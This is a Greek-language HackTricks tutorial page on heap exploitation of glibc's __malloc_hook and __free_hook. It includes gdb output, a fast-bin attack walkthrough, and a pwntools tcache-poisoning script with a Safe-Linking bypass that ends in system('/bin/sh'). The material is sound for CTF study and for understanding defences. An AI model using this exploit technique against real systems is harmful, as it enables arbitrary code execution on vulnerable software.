WWW2Exec - __malloc_hook & __free_hook

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Malloc Hook

Όπως μπορείτε να δείτε στον Επίσημο ιστότοπο GNU, η μεταβλητή __malloc_hook είναι ένας δείκτης που δείχνει στη διεύθυνση μιας συνάρτησης που θα καλείται όποτε καλείται το malloc() αποθηκευμένη στην ενότητα δεδομένων της βιβλιοθήκης libc. Επομένως, αν αυτή η διεύθυνση αντικατασταθεί με ένα One Gadget για παράδειγμα και κληθεί το malloc, θα κληθεί το One Gadget.

Για να καλέσετε το malloc, είναι δυνατόν να περιμένετε να το καλέσει το πρόγραμμα ή να **καλέσετε printf("%10000$c")** που δεσμεύει πάρα πολλά bytes κάνοντάς το libc` να καλέσει το malloc για να τα δεσμεύσει στο heap.

Περισσότερες πληροφορίες σχετικά με το One Gadget στο:

One Gadget

warning

Σημειώστε ότι οι hooks είναι απενεργοποιημένες για GLIBC >= 2.34. Υπάρχουν άλλες τεχνικές που μπορούν να χρησιμοποιηθούν σε σύγχρονες εκδόσεις GLIBC. Δείτε: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md.

Free Hook

Αυτό εκμεταλλεύτηκε σε ένα από τα παραδείγματα της σελίδας εκμεταλλευόμενος μια επίθεση γρήγορης bin μετά από την εκμετάλλευση μιας επίθεσης unsorted bin:

Unsorted Bin Attack

Είναι δυνατόν να βρείτε τη διεύθυνση του __free_hook αν το δυαδικό αρχείο έχει σύμβολα με την ακόλουθη εντολή:

bash
gef➤  p &__free_hook

Στην ανάρτηση μπορείτε να βρείτε έναν οδηγό βήμα προς βήμα για το πώς να εντοπίσετε τη διεύθυνση του free hook χωρίς σύμβολα. Ως περίληψη, στη συνάρτηση free:

gef➤  x/20i free
0xf75dedc0 : push   ebx
0xf75dedc1 : call   0xf768f625
0xf75dedc6 : add    ebx,0x14323a
0xf75dedcc :  sub    esp,0x8
0xf75dedcf :  mov    eax,DWORD PTR [ebx-0x98]
0xf75dedd5 :  mov    ecx,DWORD PTR [esp+0x10]
0xf75dedd9 :  mov    eax,DWORD PTR [eax]--- BREAK HERE
0xf75deddb :  test   eax,eax ;<
0xf75deddd :  jne    0xf75dee50 

Στο αναφερόμενο σημείο διακοπής στον προηγούμενο κώδικα, στο $eax θα βρίσκεται η διεύθυνση του free hook.

Τώρα εκτελείται μια γρήγορη επίθεση bin:

  • Πρώτα απ' όλα, ανακαλύπτεται ότι είναι δυνατό να εργαστούμε με γρήγορες chunks μεγέθους 200 στην τοποθεσία __free_hook:
  • gef➤  p &__free_hook
    

$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook> gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200 0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000

  • Αν καταφέρουμε να αποκτήσουμε μια γρήγορη chunk μεγέθους 0x200 σε αυτή την τοποθεσία, θα είναι δυνατό να αντικαταστήσουμε έναν δείκτη συνάρτησης που θα εκτελείται
  • Για αυτό, δημιουργείται μια νέα chunk μεγέθους 0xfc και η συγχωνευμένη συνάρτηση καλείται με αυτόν τον δείκτη δύο φορές, με αυτόν τον τρόπο αποκτούμε έναν δείκτη σε μια ελεύθερη chunk μεγέθους 0xfc*2 = 0x1f8 στο γρήγορο bin.
  • Στη συνέχεια, καλείται η συνάρτηση επεξεργασίας σε αυτή τη chunk για να τροποποιήσει τη διεύθυνση fd αυτού του γρήγορου bin ώστε να δείχνει στην προηγούμενη συνάρτηση __free_hook.
  • Στη συνέχεια, δημιουργείται μια chunk μεγέθους 0x1f8 για να ανακτηθεί από το γρήγορο bin η προηγούμενη άχρηστη chunk, ώστε να δημιουργηθεί άλλη μια chunk μεγέθους 0x1f8 για να αποκτήσουμε μια γρήγορη chunk στο __free_hook που αντικαθίσταται με τη διεύθυνση της συνάρτησης system.
  • Και τελικά, μια chunk που περιέχει τη συμβολοσειρά /bin/sh\x00 απελευθερώνεται καλώντας τη συνάρτηση διαγραφής, ενεργοποιώντας τη συνάρτηση __free_hook που δείχνει στη system με /bin/sh\x00 ως παράμετρο.

Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)

Η glibc 2.32 εισήγαγε το Safe-Linking – μια έλεγχο ακεραιότητας που προστατεύει τις μοναδικές συνδεδεμένες λίστες που χρησιμοποιούνται από tcache και γρήγορα bins. Αντί να αποθηκεύει έναν ακατέργαστο δείκτη προς τα εμπρός (fd), το ptmalloc τώρα τον αποθηκεύει κρυπτογραφημένο με την παρακάτω μακροεντολή:

c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr)       PROTECT_PTR(&ptr, ptr)

Συνέπειες για την εκμετάλλευση:

  1. Ένα heap leak είναι υποχρεωτικό – ο επιτιθέμενος πρέπει να γνωρίζει την τιμή χρόνου εκτέλεσης του chunk_addr >> 12 για να δημιουργήσει έναν έγκυρο παραποιημένο δείκτη.
  2. Μόνο ο πλήρης 8-byte δείκτης μπορεί να παραποιηθεί; οι μερικές υπεργραφές ενός byte δεν θα περάσουν τον έλεγχο.

Μια ελάχιστη primitive tcache-poisoning που υπεργράφει το __free_hook σε glibc 2.32/2.33 φαίνεται λοιπόν ως εξής:

py
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p    = process("./vuln")

# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak   = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base   = heap_leak & ~0xfff
fd_key      = heap_base >> 12  # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")

# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a)           # tcache double-free ⇒ poisoning primitive

# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison    = free_hook ^ fd_key
edit(a, p64(poison))  # overwrite fd of tcache entry

# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48)           # returns chunk a
c = malloc(0x48)       # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))

# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)

Το απόσπασμα παραπάνω προσαρμόστηκε από πρόσφατες προκλήσεις CTF όπως το UIUCTF 2024 – «Rusty Pointers» και το openECSC 2023 – «Babyheap G», και οι δύο οποίες βασίστηκαν σε παρακάμψεις Safe-Linking για να αντικαταστήσουν το __free_hook.


Τι άλλαξε στη glibc ≥ 2.34;

Αρχής γενομένης από τη glibc 2.34 (Αύγουστος 2021), οι hooks κατανομής __malloc_hook, __realloc_hook, __memalign_hook και __free_hook αφαιρέθηκαν από το δημόσιο API και δεν καλούνται πλέον από τον αλγόριθμο κατανομής. Τα σύμβολα συμβατότητας εξακολουθούν να εξάγονται για παλαιά δυαδικά αρχεία, αλλά η αντικατάστασή τους δεν επηρεάζει πλέον τη ροή ελέγχου του malloc() ή του free().

Πρακτική συνέπεια: σε σύγχρονες διανομές (Ubuntu 22.04+, Fedora 35+, Debian 12, κ.λπ.) πρέπει να στραφείτε σε άλλες μεθόδους hijack (IO-FILE, __run_exit_handlers, vtable spraying, κ.λπ.) διότι οι αντικαταστάσεις hooks θα αποτύχουν σιωπηλά.

Αν χρειάζεστε ακόμα τη παλιά συμπεριφορά για αποσφαλμάτωση, η glibc παρέχει το libc_malloc_debug.so το οποίο μπορεί να φορτωθεί εκ των προτέρων για να επανενεργοποιήσει τους παλαιούς hooks – αλλά η βιβλιοθήκη δεν προορίζεται για παραγωγή και μπορεί να εξαφανιστεί σε μελλοντικές εκδόσεις.


Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks